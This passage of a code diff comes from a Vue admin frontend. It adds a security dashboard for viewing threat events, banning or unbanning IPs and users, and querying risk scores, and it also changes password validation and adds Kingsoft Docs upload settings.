@@ -0,0 +1,843 @@
+<script setup>
+import { computed, onMounted, ref } from 'vue'
+import { ElMessage, ElMessageBox } from 'element-plus'
+
+import {
+  banIp,
+  banUser,
+  cleanup,
+  clearIpRisk,
+  getBannedIps,
+  getBannedUsers,
+  getDashboard,
+  getIpRisk,
+  getThreats,
+  getUserRisk,
+  unbanIp,
+  unbanUser,
+} from '../api/security'
+
+const pageSize = 20
+
+const activeTab = ref('threats')
+
+const dashboardLoading = ref(false)
+const dashboard = ref(null)
+
+const threatsLoading = ref(false)
+const threatItems = ref([])
+const threatTotal = ref(0)
+const threatPage = ref(1)
+const threatTypeFilter = ref('')
+const threatSeverityFilter = ref('')
+
+const bansLoading = ref(false)
+const bannedIps = ref([])
+const bannedUsers = ref([])
+const banTab = ref('ips')
+
+const banDialogOpen = ref(false)
+const banSubmitting = ref(false)
+const banForm = ref({
+  kind: 'ip',
+  ip: '',
+  user_id: '',
+  reason: '',
+  duration_hours: 24,
+  permanent: false,
+})
+
+const riskTab = ref('ip')
+const riskLoading = ref(false)
+const riskIpInput = ref('')
+const riskUserIdInput = ref('')
+const riskResult = ref(null)
+const riskResultKind = ref('')
+
+const commonThreatTypes = [
+  'sql_injection',
+  'xss',
+  'path_traversal',
+  'command_injection',
+  'ssrf',
+  'scanner',
+  'bruteforce',
+  'csrf',
+  'xxe',
+  'file_upload',
+]
+
+function normalizeCount(value) {
+  const n = Number(value)
+  return Number.isFinite(n) ? n : 0
+}
+
+function scoreMeta(score) {
+  const n = Number(score || 0)
+  if (n >= 80) return { label: '高', type: 'danger' }
+  if (n >= 50) return { label: '中', type: 'warning' }
+  return { label: '低', type: 'success' }
+}
+
+function formatExpires(expiresAt) {
+  const text = String(expiresAt || '').trim()
+  return text ? text : '永久'
+}
+
+function payloadTooltip(row) {
+  const parts = []
+  if (row?.field_name) parts.push(`字段: ${row.field_name}`)
+  if (row?.rule) parts.push(`规则: ${row.rule}`)
+  if (row?.matched) parts.push(`匹配: ${row.matched}`)
+  if (row?.value_preview) parts.push(`值: ${row.value_preview}`)
+  return parts.length ? parts.join(' · ') : '-'
+}
+
+function pathText(row) {
+  const method = String(row?.request_method || '').trim()
+  const path = String(row?.request_path || '').trim()
+  const combined = `${method} ${path}`.trim()
+  return combined || '-'
+}
+
+const threatTypeOptions = computed(() => {
+  const seen = new Set(commonThreatTypes)
+  const recent = dashboard.value?.recent_threat_events || []
+  for (const item of recent) {
+    const t = String(item?.threat_type || '').trim()
+    if (t) seen.add(t)
+  }
+  for (const item of threatItems.value || []) {
+    const t = String(item?.threat_type || '').trim()
+    if (t) seen.add(t)
+  }
+  return Array.from(seen)
+    .sort((a, b) => a.localeCompare(b))
+    .map((t) => ({ label: t, value: t }))
+})
+
+const dashboardCards = computed(() => {
+  const d = dashboard.value || {}
+  return [
+    { key: 'threat_events_24h', label: '最近24小时威胁事件', value: normalizeCount(d.threat_events_24h) },
+    { key: 'banned_ip_count', label: '当前封禁IP数', value: normalizeCount(d.banned_ip_count) },
+    { key: 'banned_user_count', label: '当前封禁用户数', value: normalizeCount(d.banned_user_count) },
+  ]
+})
+
+const threatTotalPages = computed(() => Math.max(1, Math.ceil((threatTotal.value || 0) / pageSize)))
+
+async function loadDashboard() {
+  dashboardLoading.value = true
+  try {
+    dashboard.value = await getDashboard()
+  } catch {
+    dashboard.value = null
+  } finally {
+    dashboardLoading.value = false
+  }
+}
+
+async function loadThreats() {
+  threatsLoading.value = true
+  try {
+    const params = {
+      page: threatPage.value,
+      per_page: pageSize,
+    }
+    if (threatTypeFilter.value) params.event_type = threatTypeFilter.value
+    if (threatSeverityFilter.value) params.severity = threatSeverityFilter.value
+
+    const data = await getThreats(params)
+    threatItems.value = data?.items || []
+    threatTotal.value = data?.total || 0
+  } catch {
+    threatItems.value = []
+    threatTotal.value = 0
+  } finally {
+    threatsLoading.value = false
+  }
+}
+
+async function loadBans() {
+  if (bansLoading.value) return
+  bansLoading.value = true
+  try {
+    const [ipsRes, usersRes] = await Promise.allSettled([getBannedIps(), getBannedUsers()])
+    bannedIps.value = ipsRes.status === 'fulfilled' ? ipsRes.value?.items || [] : []
+    bannedUsers.value = usersRes.status === 'fulfilled' ? usersRes.value?.items || [] : []
+  } finally {
+    bansLoading.value = false
+  }
+}
+
+async function refreshAll() {
+  await Promise.allSettled([loadDashboard(), loadThreats(), loadBans()])
+}
+
+function onThreatFilter() {
+  threatPage.value = 1
+  loadThreats()
+}
+
+function onThreatReset() {
+  threatTypeFilter.value = ''
+  threatSeverityFilter.value = ''
+  threatPage.value = 1
+  loadThreats()
+}
+
+function resetBanForm() {
+  banForm.value = {
+    kind: 'ip',
+    ip: '',
+    user_id: '',
+    reason: '',
+    duration_hours: 24,
+    permanent: false,
+  }
+}
+
+function openBanDialog(kind = 'ip', preset = {}) {
+  resetBanForm()
+  banForm.value.kind = kind === 'user' ? 'user' : 'ip'
+  if (banForm.value.kind === 'ip') {
+    banForm.value.ip = String(preset.ip || '').trim()
+  } else {
+    banForm.value.user_id = String(preset.user_id || '').trim()
+  }
+  if (preset.reason) banForm.value.reason = String(preset.reason || '').trim()
+  banDialogOpen.value = true
+}
+
+async function submitBan() {
+  const kind = banForm.value.kind
+  const reason = String(banForm.value.reason || '').trim()
+  const permanent = Boolean(banForm.value.permanent)
+  const durationHours = Number(banForm.value.duration_hours || 24)
+
+  if (!reason) {
+    ElMessage.error('原因不能为空')
+    return
+  }
+
+  if (kind === 'ip') {
+    const ip = String(banForm.value.ip || '').trim()
+    if (!ip) {
+      ElMessage.error('IP不能为空')
+      return
+    }
+    banSubmitting.value = true
+    try {
+      await banIp({ ip, reason, duration_hours: durationHours, permanent })
+      ElMessage.success('IP已封禁')
+      banDialogOpen.value = false
+      await Promise.allSettled([loadDashboard(), loadBans()])
+    } catch {
+      // handled by interceptor
+    } finally {
+      banSubmitting.value = false
+    }
+    return
+  }
+
+  const userIdRaw = String(banForm.value.user_id || '').trim()
+  const userId = Number.parseInt(userIdRaw, 10)
+  if (!Number.isFinite(userId)) {
+    ElMessage.error('用户ID无效')
+    return
+  }
+
+  banSubmitting.value = true
+  try {
+    await banUser({ user_id: userId, reason, duration_hours: durationHours, permanent })
+    ElMessage.success('用户已封禁')
+    banDialogOpen.value = false
+    await Promise.allSettled([loadDashboard(), loadBans()])
+  } catch {
+    // handled by interceptor
+  } finally {
+    banSubmitting.value = false
+  }
+}
+
+async function onUnbanIp(ip) {
+  const ipText = String(ip || '').trim()
+  if (!ipText) return
+
+  try {
+    await ElMessageBox.confirm(`确定解除对 IP ${ipText} 的封禁吗？`, '解除封禁', {
+      confirmButtonText: '解除',
+      cancelButtonText: '取消',
+      type: 'warning',
+    })
+  } catch {
+    return
+  }
+
+  try {
+    await unbanIp(ipText)
+    ElMessage.success('已解除IP封禁')
+    await Promise.allSettled([loadDashboard(), loadBans()])
+  } catch {
+    // handled by interceptor
+  }
+}
+
+async function onUnbanUser(userId) {
+  const id = Number.parseInt(String(userId || '').trim(), 10)
+  if (!Number.isFinite(id)) return
+
+  try {
+    await ElMessageBox.confirm(`确定解除对 用户ID ${id} 的封禁吗？`, '解除封禁', {
+      confirmButtonText: '解除',
+      cancelButtonText: '取消',
+      type: 'warning',
+    })
+  } catch {
+    return
+  }
+
+  try {
+    await unbanUser(id)
+    ElMessage.success('已解除用户封禁')
+    await Promise.allSettled([loadDashboard(), loadBans()])
+  } catch {
+    // handled by interceptor
+  }
+}
+
+function jumpToIpRisk(ip) {
+  const ipText = String(ip || '').trim()
+  if (!ipText) return
+  activeTab.value = 'risk'
+  riskTab.value = 'ip'
+  riskIpInput.value = ipText
+  queryIpRisk()
+}
+
+function jumpToUserRisk(userId) {
+  const idText = String(userId || '').trim()
+  if (!idText) return
+  activeTab.value = 'risk'
+  riskTab.value = 'user'
+  riskUserIdInput.value = idText
+  queryUserRisk()
+}
+
+async function queryIpRisk() {
+  const ip = String(riskIpInput.value || '').trim()
+  if (!ip) {
+    ElMessage.error('请输入IP')
+    return
+  }
+  riskLoading.value = true
+  try {
+    riskResult.value = await getIpRisk(ip)
+    riskResultKind.value = 'ip'
+  } catch {
+    riskResult.value = null
+    riskResultKind.value = ''
+  } finally {
+    riskLoading.value = false
+  }
+}
+
+async function queryUserRisk() {
+  const raw = String(riskUserIdInput.value || '').trim()
+  const userId = Number.parseInt(raw, 10)
+  if (!Number.isFinite(userId)) {
+    ElMessage.error('请输入有效的用户ID')
+    return
+  }
+  riskLoading.value = true
+  try {
+    riskResult.value = await getUserRisk(userId)
+    riskResultKind.value = 'user'
+  } catch {
+    riskResult.value = null
+    riskResultKind.value = ''
+  } finally {
+    riskLoading.value = false
+  }
+}
+
+function openBanFromRisk() {
+  if (!riskResult.value || !riskResultKind.value) return
+  if (riskResultKind.value === 'ip') {
+    openBanDialog('ip', { ip: riskResult.value?.ip, reason: '风险查询手动封禁' })
+  } else {
+    openBanDialog('user', { user_id: riskResult.value?.user_id, reason: '风险查询手动封禁' })
+  }
+}
+
+async function unbanFromRisk() {
+  if (!riskResult.value || !riskResultKind.value) return
+  if (riskResultKind.value === 'ip') {
+    await onUnbanIp(riskResult.value?.ip)
+    await queryIpRisk()
+  } else {
+    await onUnbanUser(riskResult.value?.user_id)
+    await queryUserRisk()
+  }
+}
+
+async function clearIpRiskScore() {
+  if (riskResultKind.value !== 'ip') return
+  const ipText = String(riskResult.value?.ip || '').trim()
+  if (!ipText) return
+
+  try {
+    await ElMessageBox.confirm(
+      `确定清除 IP ${ipText} 的风险分吗？\n\n清除风险分不会删除威胁历史，也不会解除封禁。`,
+      '清除风险分',
+      { confirmButtonText: '清除', cancelButtonText: '取消', type: 'warning' },
+    )
+  } catch {
+    return
+  }
+
+  if (riskLoading.value) return
+  riskLoading.value = true
+  try {
+    await clearIpRisk(ipText)
+    ElMessage.success('IP风险分已清零')
+  } catch {
+    // handled by interceptor
+  } finally {
+    riskLoading.value = false
+  }
+
+  await queryIpRisk()
+}
+
+const cleanupLoading = ref(false)
+
+async function onCleanup() {
+  try {
+    await ElMessageBox.confirm(
+      '确定清理过期封禁记录，并衰减风险分吗？\n\n该操作不会影响仍在有效期内的封禁。',
+      '清理过期记录',
+      { confirmButtonText: '清理', cancelButtonText: '取消', type: 'warning' },
+    )
+  } catch {
+    return
+  }
+
+  cleanupLoading.value = true
+  try {
+    await cleanup()
+    ElMessage.success('清理完成')
+    await refreshAll()
+  } catch {
+    // handled by interceptor
+  } finally {
+    cleanupLoading.value = false
+  }
+}
+
+onMounted(async () => {
+  await refreshAll()
+})
+</script>
+
+<template>
+  <div class="page-stack">
+    <div class="app-page-title">
+      <h2>安全防护</h2>
+      <div class="toolbar">
+        <el-button @click="refreshAll">刷新</el-button>
+        <el-button type="warning" plain :loading="cleanupLoading" @click="onCleanup">清理过期记录</el-button>
+        <el-button type="primary" @click="openBanDialog()">手动封禁</el-button>
+      </div>
+    </div>
+
+    <el-row :gutter="12" class="stats-row">
+      <el-col v-for="it in dashboardCards" :key="it.key" :xs="24" :sm="8" :md="8" :lg="8" :xl="8">
+        <el-card shadow="never" class="stat-card" :body-style="{ padding: '14px' }">
+          <div class="stat-value">
+            <el-skeleton v-if="dashboardLoading" :rows="1" animated />
+            <template v-else>{{ it.value }}</template>
+          </div>
+          <div class="stat-label">{{ it.label }}</div>
+        </el-card>
+      </el-col>
+    </el-row>
+
+    <el-card shadow="never" :body-style="{ padding: '16px' }" class="card">
+      <el-tabs v-model="activeTab">
+        <el-tab-pane label="威胁事件" name="threats">
+          <div class="filters">
+            <el-select
+              v-model="threatTypeFilter"
+              placeholder="类型"
+              style="width: 220px"
+              filterable
+              clearable
+              allow-create
+              default-first-option
+            >
+              <el-option label="全部" value="" />
+              <el-option v-for="t in threatTypeOptions" :key="t.value" :label="t.label" :value="t.value" />
+            </el-select>
+
+            <el-select v-model="threatSeverityFilter" placeholder="严重程度" style="width: 200px" clearable>
+              <el-option label="全部" value="" />
+              <el-option label="高风险(>=80)" value="high" />
+              <el-option label="中风险(50-79)" value="medium" />
+              <el-option label="低风险(<50)" value="low" />
+            </el-select>
+
+            <el-button type="primary" @click="onThreatFilter">筛选</el-button>
+            <el-button @click="onThreatReset">重置</el-button>
+          </div>
+
+          <div class="table-wrap">
+            <el-table :data="threatItems" v-loading="threatsLoading" style="width: 100%">
+              <el-table-column prop="created_at" label="时间" width="180" />
+              <el-table-column label="类型" width="170">
+                <template #default="{ row }">
+                  <el-tag effect="light" type="info">{{ row.threat_type || 'unknown' }}</el-tag>
+                </template>
+              </el-table-column>
+              <el-table-column label="严重程度" width="120">
+                <template #default="{ row }">
+                  <el-tag :type="scoreMeta(row.score).type" effect="light">
+                    {{ scoreMeta(row.score).label }} ({{ row.score ?? 0 }})
+                  </el-tag>
+                </template>
+              </el-table-column>
+              <el-table-column label="IP" width="150">
+                <template #default="{ row }">
+                  <el-link v-if="row.ip" type="primary" :underline="false" @click="jumpToIpRisk(row.ip)">
+                    {{ row.ip }}
+                  </el-link>
+                  <span v-else>-</span>
+                </template>
+              </el-table-column>
+              <el-table-column label="用户" width="120">
+                <template #default="{ row }">
+                  <el-link
+                    v-if="row.user_id !== null && row.user_id !== undefined"
+                    type="primary"
+                    :underline="false"
+                    @click="jumpToUserRisk(row.user_id)"
+                  >
+                    {{ row.user_id }}
+                  </el-link>
+                  <span v-else>-</span>
+                </template>
+              </el-table-column>
+              <el-table-column label="操作路径" min-width="220">
+                <template #default="{ row }">
+                  <el-tooltip :content="pathText(row)" placement="top" :show-after="300">
+                    <span class="mono ellipsis">{{ pathText(row) }}</span>
+                  </el-tooltip>
+                </template>
+              </el-table-column>
+              <el-table-column label="Payload预览" min-width="240">
+                <template #default="{ row }">
+                  <el-tooltip :content="payloadTooltip(row)" placement="top" :show-after="300">
+                    <span class="ellipsis">{{ row.value_preview || '-' }}</span>
+                  </el-tooltip>
+                </template>
+              </el-table-column>
+            </el-table>
+          </div>
+
+          <div class="pagination">
+            <el-pagination
+              v-model:current-page="threatPage"
+              :page-size="pageSize"
+              :total="threatTotal"
+              layout="prev, pager, next, jumper, ->, total"
+              @current-change="loadThreats"
+            />
+            <div class="page-hint app-muted">第 {{ threatPage }} / {{ threatTotalPages }} 页</div>
+          </div>
+        </el-tab-pane>
+
+        <el-tab-pane label="封禁管理" name="bans">
+          <div class="toolbar">
+            <el-button @click="loadBans">刷新封禁列表</el-button>
+            <el-button type="primary" @click="openBanDialog()">手动封禁</el-button>
+          </div>
+
+          <el-tabs v-model="banTab" class="inner-tabs">
+            <el-tab-pane label="IP黑名单" name="ips">
+              <div class="table-wrap">
+                <el-table :data="bannedIps" v-loading="bansLoading" style="width: 100%">
+                  <el-table-column label="IP" width="180">
+                    <template #default="{ row }">
+                      <el-link type="primary" :underline="false" @click="jumpToIpRisk(row.ip)">
+                        {{ row.ip || '-' }}
+                      </el-link>
+                    </template>
+                  </el-table-column>
+                  <el-table-column prop="reason" label="原因" min-width="260" />
+                  <el-table-column label="过期时间" width="190">
+                    <template #default="{ row }">{{ formatExpires(row.expires_at) }}</template>
+                  </el-table-column>
+                  <el-table-column label="操作" width="120" fixed="right">
+                    <template #default="{ row }">
+                      <el-button size="small" type="danger" plain @click="onUnbanIp(row.ip)">解除</el-button>
+                    </template>
+                  </el-table-column>
+                </el-table>
+              </div>
+            </el-tab-pane>
+
+            <el-tab-pane label="用户黑名单" name="users">
+              <div class="table-wrap">
+                <el-table :data="bannedUsers" v-loading="bansLoading" style="width: 100%">
+                  <el-table-column label="用户ID" width="180">
+                    <template #default="{ row }">
+                      <el-link type="primary" :underline="false" @click="jumpToUserRisk(row.user_id)">
+                        {{ row.user_id ?? '-' }}
+                      </el-link>
+                    </template>
+                  </el-table-column>
+                  <el-table-column prop="reason" label="原因" min-width="260" />
+                  <el-table-column label="过期时间" width="190">
+                    <template #default="{ row }">{{ formatExpires(row.expires_at) }}</template>
+                  </el-table-column>
+                  <el-table-column label="操作" width="120" fixed="right">
+                    <template #default="{ row }">
+                      <el-button size="small" type="danger" plain @click="onUnbanUser(row.user_id)">解除</el-button>
+                    </template>
+                  </el-table-column>
+                </el-table>
+              </div>
+            </el-tab-pane>
+          </el-tabs>
+        </el-tab-pane>
+
+        <el-tab-pane label="风险查询" name="risk">
+          <el-tabs v-model="riskTab" class="inner-tabs">
+            <el-tab-pane label="IP查询" name="ip">
+              <div class="filters">
+                <el-input v-model="riskIpInput" placeholder="输入IP，如 1.2.3.4" style="width: 260px" clearable />
+                <el-button type="primary" :loading="riskLoading" @click="queryIpRisk">查询</el-button>
+              </div>
+            </el-tab-pane>
+            <el-tab-pane label="用户查询" name="user">
+              <div class="filters">
+                <el-input v-model="riskUserIdInput" placeholder="输入用户ID，如 123" style="width: 260px" clearable />
+                <el-button type="primary" :loading="riskLoading" @click="queryUserRisk">查询</el-button>
+              </div>
+            </el-tab-pane>
+          </el-tabs>
+
+          <el-card v-if="riskResult" shadow="never" :body-style="{ padding: '16px' }" class="sub-card">
+            <div class="risk-head">
+              <div class="risk-title">
+                <strong v-if="riskResultKind === 'ip'">IP: {{ riskResult.ip }}</strong>
+                <strong v-else>用户ID: {{ riskResult.user_id }}</strong>
+                <span class="app-muted">风险分</span>
+                <el-tag :type="scoreMeta(riskResult.risk_score).type" effect="light">
+                  {{ riskResult.risk_score ?? 0 }}
+                </el-tag>
+                <el-tag v-if="riskResult.is_banned" type="danger" effect="light">已封禁</el-tag>
+                <el-tag v-else type="success" effect="light">未封禁</el-tag>
+              </div>
+              <div class="toolbar">
+                <el-button v-if="!riskResult.is_banned" type="primary" plain @click="openBanFromRisk">封禁</el-button>
+                <el-button v-else type="danger" plain @click="unbanFromRisk">解除封禁</el-button>
+                <el-button
+                  v-if="riskResultKind === 'ip'"
+                  type="warning"
+                  plain
+                  :loading="riskLoading"
+                  @click="clearIpRiskScore"
+                >
+                  清除风险分
+                </el-button>
+              </div>
+            </div>
+
+            <div class="table-wrap">
+              <el-table :data="riskResult.threat_history || []" v-loading="riskLoading" style="width: 100%">
+                <el-table-column prop="created_at" label="时间" width="180" />
+                <el-table-column label="类型" width="170">
+                  <template #default="{ row }">
+                    <el-tag effect="light" type="info">{{ row.threat_type || 'unknown' }}</el-tag>
+                  </template>
+                </el-table-column>
+                <el-table-column label="严重程度" width="120">
+                  <template #default="{ row }">
+                    <el-tag :type="scoreMeta(row.score).type" effect="light">
+                      {{ scoreMeta(row.score).label }} ({{ row.score ?? 0 }})
+                    </el-tag>
+                  </template>
+                </el-table-column>
+                <el-table-column label="操作路径" min-width="220">
+                  <template #default="{ row }">
+                    <el-tooltip :content="pathText(row)" placement="top" :show-after="300">
+                      <span class="mono ellipsis">{{ pathText(row) }}</span>
+                    </el-tooltip>
+                  </template>
+                </el-table-column>
+                <el-table-column label="Payload预览" min-width="240">
+                  <template #default="{ row }">
+                    <el-tooltip :content="payloadTooltip(row)" placement="top" :show-after="300">
+                      <span class="ellipsis">{{ row.value_preview || '-' }}</span>
+                    </el-tooltip>
+                  </template>
+                </el-table-column>
+              </el-table>
+            </div>
+          </el-card>
+        </el-tab-pane>
+      </el-tabs>
+    </el-card>
+
+    <el-dialog v-model="banDialogOpen" title="手动封禁" width="min(520px, 92vw)" @closed="resetBanForm">
+      <el-form label-width="120px">
+        <el-form-item label="类型">
+          <el-radio-group v-model="banForm.kind">
+            <el-radio-button label="ip">IP</el-radio-button>
+            <el-radio-button label="user">用户</el-radio-button>
+          </el-radio-group>
+        </el-form-item>
+        <el-form-item v-if="banForm.kind === 'ip'" label="IP">
+          <el-input v-model="banForm.ip" placeholder="例如 1.2.3.4" />
+        </el-form-item>
+        <el-form-item v-else label="用户ID">
+          <el-input v-model="banForm.user_id" placeholder="例如 123" />
+        </el-form-item>
+        <el-form-item label="原因">
+          <el-input v-model="banForm.reason" type="textarea" :rows="3" placeholder="请输入封禁原因" />
+        </el-form-item>
+        <el-form-item label="永久封禁">
+          <el-switch v-model="banForm.permanent" />
+        </el-form-item>
+        <el-form-item v-if="!banForm.permanent" label="持续(小时)">
+          <el-input-number v-model="banForm.duration_hours" :min="1" :max="8760" />
+        </el-form-item>
+      </el-form>
+
+      <template #footer>
+        <div class="dialog-actions">
+          <div class="spacer"></div>
+          <el-button @click="banDialogOpen = false">取消</el-button>
+          <el-button type="primary" :loading="banSubmitting" @click="submitBan">确认封禁</el-button>
+        </div>
+      </template>
+    </el-dialog>
+  </div>
+</template>
+
+<style scoped>
+.page-stack {
+  display: flex;
+  flex-direction: column;
+  gap: 12px;
+}
+
+.toolbar {
+  display: flex;
+  gap: 10px;
+  align-items: center;
+  flex-wrap: wrap;
+}
+
+.stats-row {
+  margin-bottom: 2px;
+}
+
+.card {
+  border-radius: var(--app-radius);
+  border: 1px solid var(--app-border);
+}
+
+.sub-card {
+  margin-top: 12px;
+  border-radius: var(--app-radius);
+  border: 1px solid var(--app-border);
+}
+
+.stat-card {
+  border-radius: var(--app-radius);
+  border: 1px solid var(--app-border);
+  box-shadow: var(--app-shadow);
+}
+
+.stat-value {
+  font-size: 22px;
+  font-weight: 800;
+  line-height: 1.1;
+}
+
+.stat-label {
+  margin-top: 6px;
+  font-size: 12px;
+  color: var(--app-muted);
+}
+
+.filters {
+  display: flex;
+  flex-wrap: wrap;
+  gap: 10px;
+  align-items: center;
+  margin-bottom: 12px;
+}
+
+.table-wrap {
+  overflow-x: auto;
+}
+
+.ellipsis {
+  display: inline-block;
+  max-width: 100%;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.mono {
+  font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;
+}
+
+.pagination {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  gap: 10px;
+  margin-top: 14px;
+  flex-wrap: wrap;
+}
+
+.page-hint {
+  font-size: 12px;
+}
+
+.inner-tabs {
+  margin-top: 6px;
+}
+
+.risk-head {
+  display: flex;
+  align-items: flex-start;
+  justify-content: space-between;
+  gap: 12px;
+  margin-bottom: 12px;
+  flex-wrap: wrap;
+}
+
+.risk-title {
+  display: flex;
+  align-items: center;
+  gap: 10px;
+  flex-wrap: wrap;
+}
+
+.dialog-actions {
+  display: flex;
+  align-items: center;
+  gap: 10px;
+}
+
+.spacer {
+  flex: 1;
+}
+</style>

admin-frontend/src/pages/SettingsPage.vue

@@ -8,6 +8,14 @@ const username = ref('')
 const password = ref('')
 const submitting = ref(false)
 
+function validateStrongPassword(value) {
+  const text = String(value || '')
+  if (text.length < 8) return { ok: false, message: '密码长度至少8位' }
+  if (text.length > 128) return { ok: false, message: '密码长度不能超过128个字符' }
+  if (!/[a-zA-Z]/.test(text) || !/\d/.test(text)) return { ok: false, message: '密码必须包含字母和数字' }
+  return { ok: true, message: '' }
+}
+
 async function relogin() {
   try {
     await logout()
@@ -54,8 +62,9 @@ async function savePassword() {
     ElMessage.error('请输入新密码')
     return
   }
-  if (value.length < 6) {
-    ElMessage.error('密码至少6个字符')
+  const check = validateStrongPassword(value)
+  if (!check.ok) {
+    ElMessage.error(check.message)
     return
   }
 

admin-frontend/src/pages/SystemPage.vue

@@ -1,10 +1,10 @@
 <script setup>
-import { computed, onBeforeUnmount, onMounted, ref } from 'vue'
+import { computed, onBeforeUnmount, onMounted, ref, watch } from 'vue'
 import { ElMessage, ElMessageBox } from 'element-plus'
 
 import { fetchSystemConfig, updateSystemConfig, executeScheduleNow } from '../api/system'
+import { fetchKdocsQr, fetchKdocsStatus, clearKdocsLogin } from '../api/kdocs'
 import { fetchProxyConfig, testProxy, updateProxyConfig } from '../api/proxy'
-import { fetchUpdateLog, fetchUpdateResult, fetchUpdateStatus, requestUpdateCheck, requestUpdateRun } from '../api/update'
 
 const loading = ref(false)
 
@@ -18,6 +18,7 @@ const scheduleEnabled = ref(false)
 const scheduleTime = ref('02:00')
 const scheduleBrowseType = ref('应读')
 const scheduleWeekdays = ref(['1', '2', '3', '4', '5', '6', '7'])
+const scheduleScreenshotEnabled = ref(true)
 
 // 代理
 const proxyEnabled = ref(false)
@@ -29,16 +30,25 @@ const autoApproveEnabled = ref(false)
 const autoApproveHourlyLimit = ref(10)
 const autoApproveVipDays = ref(7)
 
-// 自动更新
-const updateLoading = ref(false)
-const updateActionLoading = ref(false)
-const updateStatus = ref(null)
-const updateStatusError = ref('')
-const updateResult = ref(null)
-const updateLog = ref('')
-const updateLogTruncated = ref(false)
-const updateBuildNoCache = ref(false)
-let updatePollTimer = null
+// 金山文档上传
+const kdocsEnabled = ref(false)
+const kdocsDocUrl = ref('')
+const kdocsDefaultUnit = ref('')
+const kdocsSheetName = ref('')
+const kdocsSheetIndex = ref(0)
+const kdocsUnitColumn = ref('A')
+const kdocsImageColumn = ref('D')
+const kdocsAdminNotifyEnabled = ref(false)
+const kdocsAdminNotifyEmail = ref('')
+const kdocsStatus = ref({})
+const kdocsQrOpen = ref(false)
+const kdocsQrImage = ref('')
+const kdocsPolling = ref(false)
+const kdocsStatusLoading = ref(false)
+const kdocsQrLoading = ref(false)
+const kdocsClearLoading = ref(false)
+const kdocsActionHint = ref('')
+let kdocsPollingTimer = null
 
 const weekdaysOptions = [
   { label: '周一', value: '1' },
@@ -65,69 +75,32 @@ const scheduleWeekdayDisplay = computed(() =>
     .map((d) => weekdayNames[Number(d)] || d)
     .join('、'),
 )
+const kdocsActionBusy = computed(
+  () => kdocsStatusLoading.value || kdocsQrLoading.value || kdocsClearLoading.value,
+)
 
 function normalizeBrowseType(value) {
   if (String(value) === '注册前未读') return '注册前未读'
   return '应读'
 }
 
-function shortCommit(value) {
-  const text = String(value || '').trim()
-  if (!text) return '-'
-  return text.length > 12 ? `${text.slice(0, 12)}…` : text
-}
-
-async function loadUpdateInfo({ withLog = true } = {}) {
-  updateLoading.value = true
-  updateStatusError.value = ''
-  try {
-    const [statusRes, resultRes] = await Promise.all([fetchUpdateStatus(), fetchUpdateResult()])
-
-    if (statusRes?.ok) {
-      updateStatus.value = statusRes.data || null
-    } else {
-      updateStatus.value = null
-      updateStatusError.value = statusRes?.error || '未发现更新状态（Update-Agent 可能未运行）'
-    }
-
-    updateResult.value = resultRes?.ok ? resultRes.data : null
-
-    const jobId = updateResult.value?.job_id
-    if (withLog && jobId) {
-      const logRes = await fetchUpdateLog({ job_id: jobId, max_bytes: 200000 })
-      updateLog.value = logRes?.log || ''
-      updateLogTruncated.value = !!logRes?.truncated
-    } else {
-      updateLog.value = ''
-      updateLogTruncated.value = false
-    }
-  } catch {
-    // handled by interceptor
-  } finally {
-    updateLoading.value = false
-  }
-}
-
-function startUpdatePolling() {
-  if (updatePollTimer) return
-  updatePollTimer = setInterval(async () => {
-    if (updateResult.value?.status === 'running') {
-      await loadUpdateInfo()
-    }
-  }, 5000)
-}
-
-function stopUpdatePolling() {
-  if (updatePollTimer) {
-    clearInterval(updatePollTimer)
-    updatePollTimer = null
+function setKdocsHint(message) {
+  if (!message) {
+    kdocsActionHint.value = ''
+    return
   }
+  const time = new Date().toLocaleTimeString('zh-CN', { hour12: false })
+  kdocsActionHint.value = `${message} (${time})`
 }
 
 async function loadAll() {
   loading.value = true
   try {
-    const [system, proxy] = await Promise.all([fetchSystemConfig(), fetchProxyConfig()])
+    const [system, proxy, kdocsInfo] = await Promise.all([
+      fetchSystemConfig(),
+      fetchProxyConfig(),
+      fetchKdocsStatus().catch(() => ({})),
+    ])
 
     maxConcurrentGlobal.value = system.max_concurrent_global ?? 2
     maxConcurrentPerAccount.value = system.max_concurrent_per_account ?? 1
@@ -142,6 +115,7 @@ async function loadAll() {
       .map((x) => x.trim())
       .filter(Boolean)
     scheduleWeekdays.value = weekdays.length ? weekdays : ['1', '2', '3', '4', '5', '6', '7']
+    scheduleScreenshotEnabled.value = (system.enable_screenshot ?? 1) === 1
 
     autoApproveEnabled.value = (system.auto_approve_enabled ?? 0) === 1
     autoApproveHourlyLimit.value = system.auto_approve_hourly_limit ?? 10
@@ -151,8 +125,16 @@ async function loadAll() {
     proxyApiUrl.value = proxy.proxy_api_url || ''
     proxyExpireMinutes.value = proxy.proxy_expire_minutes ?? 3
 
-    await loadUpdateInfo({ withLog: false })
-    startUpdatePolling()
+    kdocsEnabled.value = (system.kdocs_enabled ?? 0) === 1
+    kdocsDocUrl.value = system.kdocs_doc_url || ''
+    kdocsDefaultUnit.value = system.kdocs_default_unit || ''
+    kdocsSheetName.value = system.kdocs_sheet_name || ''
+    kdocsSheetIndex.value = system.kdocs_sheet_index ?? 0
+    kdocsUnitColumn.value = (system.kdocs_unit_column || 'A').toUpperCase()
+    kdocsImageColumn.value = (system.kdocs_image_column || 'D').toUpperCase()
+    kdocsAdminNotifyEnabled.value = (system.kdocs_admin_notify_enabled ?? 0) === 1
+    kdocsAdminNotifyEmail.value = system.kdocs_admin_notify_email || ''
+    kdocsStatus.value = kdocsInfo || {}
   } catch {
     // handled by interceptor
   } finally {
@@ -196,10 +178,12 @@ async function saveSchedule() {
     schedule_time: scheduleTime.value,
     schedule_browse_type: scheduleBrowseType.value,
     schedule_weekdays: (scheduleWeekdays.value || []).join(','),
+    enable_screenshot: scheduleScreenshotEnabled.value ? 1 : 0,
   }
 
+  const screenshotText = scheduleScreenshotEnabled.value ? '截图' : '不截图'
   const message = scheduleEnabled.value
-    ? `确定启用定时任务吗？\n\n执行时间: 每天 ${payload.schedule_time}\n执行日期: ${scheduleWeekdayDisplay.value}\n浏览类型: ${payload.schedule_browse_type}\n\n系统将自动执行所有账号的浏览任务(不包含截图)`
